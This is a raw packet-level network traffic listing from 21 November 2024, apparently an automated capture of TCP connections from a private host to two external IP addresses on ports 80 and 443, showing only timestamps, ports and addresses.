Nov 21, 2024 14:26:34.171770096 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.171821117 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.171823025 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.172322989 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.172372103 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.172421932 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.173454046 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.173504114 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.173508883 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.174437046 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.174484968 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.174568892 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.175457001 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.175493002 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.176525116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.176584005 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.176601887 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.177603960 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.177699089 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.177728891 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.178716898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.178765059 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.178777933 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.179755926 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.179805994 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.179841995 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.180789948 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.180836916 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.180893898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.181878090 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.181929111 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.181961060 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.182929039 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.183048010 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.183074951 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.183983088 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.184045076 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.184077024 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.186835051 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.187024117 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.187141895 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.187202930 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.187202930 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.187232018 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.187258959 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.190116882 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.190207958 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.190308094 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.190438986 CET	49741	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.190473080 CET	443	49741	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.191380024 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.239628077 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.239694118 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.239761114 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.240704060 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.240729094 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.240741968 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.240746975 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.244718075 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.244765997 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.244836092 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.244986057 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.245003939 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.299216032 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.299288034 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.299339056 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.299719095 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.299890041 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.299935102 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.300831079 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.301157951 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.301198959 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.301964998 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.318192959 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.318303108 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.318474054 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.319931030 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.319957972 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.320019007 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.320034981 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.333631039 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.333739042 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.333775997 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.333997011 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.334044933 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.334341049 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.334408998 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.334481955 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.335235119 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.335304976 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.335423946 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.336313963 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.336498022 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.336550951 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.337354898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.337466002 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.337538004 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.338159084 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.338258028 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.338334084 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.338432074 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.338546038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.338639975 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.339509010 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.339664936 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.339668036 CET	49743	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.339704990 CET	443	49743	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.339704990 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.340564013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.340615988 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.340661049 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.341655970 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.341886997 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.341928005 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.342709064 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.342835903 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.342995882 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.343781948 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.343895912 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.344069004 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.344868898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.345056057 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.345184088 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.345937967 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.346090078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.346149921 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.347069025 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.347193003 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.347292900 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.348092079 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.348563910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.348609924 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.349363089 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.349399090 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.349474907 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.350239992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.350366116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.350544930 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.351300001 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.351423025 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.351773024 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.352363110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.352446079 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.352521896 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.353420019 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.353534937 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.353580952 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.354458094 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.354641914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.354686975 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.355550051 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.355674028 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.355720043 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.356612921 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.356709957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.356770992 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.357707024 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.357840061 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.358727932 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.358783960 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.358850956 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.358932018 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.359816074 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.359922886 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.360008001 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.360858917 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.361027002 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.361721039 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.361947060 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.362106085 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.362291098 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.363074064 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.363234997 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.363400936 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.364087105 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.364202023 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.364279032 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.367707968 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.367742062 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.367832899 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.367847919 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.367868900 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.367907047 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.367913961 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.368035078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.368998051 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.369034052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.369060993 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.369080067 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.369402885 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.369541883 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.369720936 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.370479107 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.370805979 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.370860100 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.371596098 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.371740103 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.371787071 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.372689962 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.372832060 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.373153925 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.373303890 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.373728037 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.373815060 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.374772072 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.374819040 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.374916077 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.375847101 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.375895977 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.375986099 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.376034021 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.379858017 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.380021095 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.380054951 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.380078077 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.380108118 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.380141020 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.380175114 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.380213976 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.380882978 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.380920887 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.380960941 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.381901979 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.381937027 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.382940054 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.383028030 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.383220911 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.383275032 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.384262085 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.384295940 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.384335995 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.385226011 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.385396004 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.385442972 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.385766029 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.385793924 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.385834932 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.403323889 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.428085089 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.428159952 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.429769993 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.435962915 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.435995102 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.436009884 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.436016083 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.439661980 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.451523066 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.451559067 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.452286959 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.452656031 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:34.452672958 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:34.500411034 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.500454903 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.501329899 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.501424074 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.501480103 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.501725912 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.501964092 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.502090931 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.503031015 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.503093004 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.534863949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.534900904 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.535110950 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.535207033 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.535279989 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.536178112 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.536272049 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.537223101 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.537281990 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.537377119 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.538305044 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.538413048 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.539375067 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.539441109 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.539505005 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.540436029 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.540553093 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.540621042 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.541492939 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.541615009 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.541671038 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.542579889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.542690039 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.543679953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.543745041 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.543807983 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.544699907 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.544845104 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.545871019 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.545948982 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.545969009 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.546833992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.546974897 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.547028065 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.547966957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.548084974 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.548145056 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.548959017 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.549011946 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.549074888 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.550054073 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.550183058 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.551099062 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.551148891 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.551172972 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.552196980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.552285910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.553277016 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.553349018 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.553527117 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.554462910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.554507971 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.555387020 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.555453062 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.555516005 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.556488037 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.556576014 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.556636095 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.557493925 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.557617903 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.557672977 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.558625937 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.558795929 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.559633970 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.559684992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.559690952 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.560729027 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.560786963 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.560853004 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.561777115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.561909914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.562861919 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.562922955 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.562931061 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.563925028 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.564049006 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.564105034 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:34.564980984 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:34.565133095 CET	80	49734	185.215.113.16	192.168.2.5
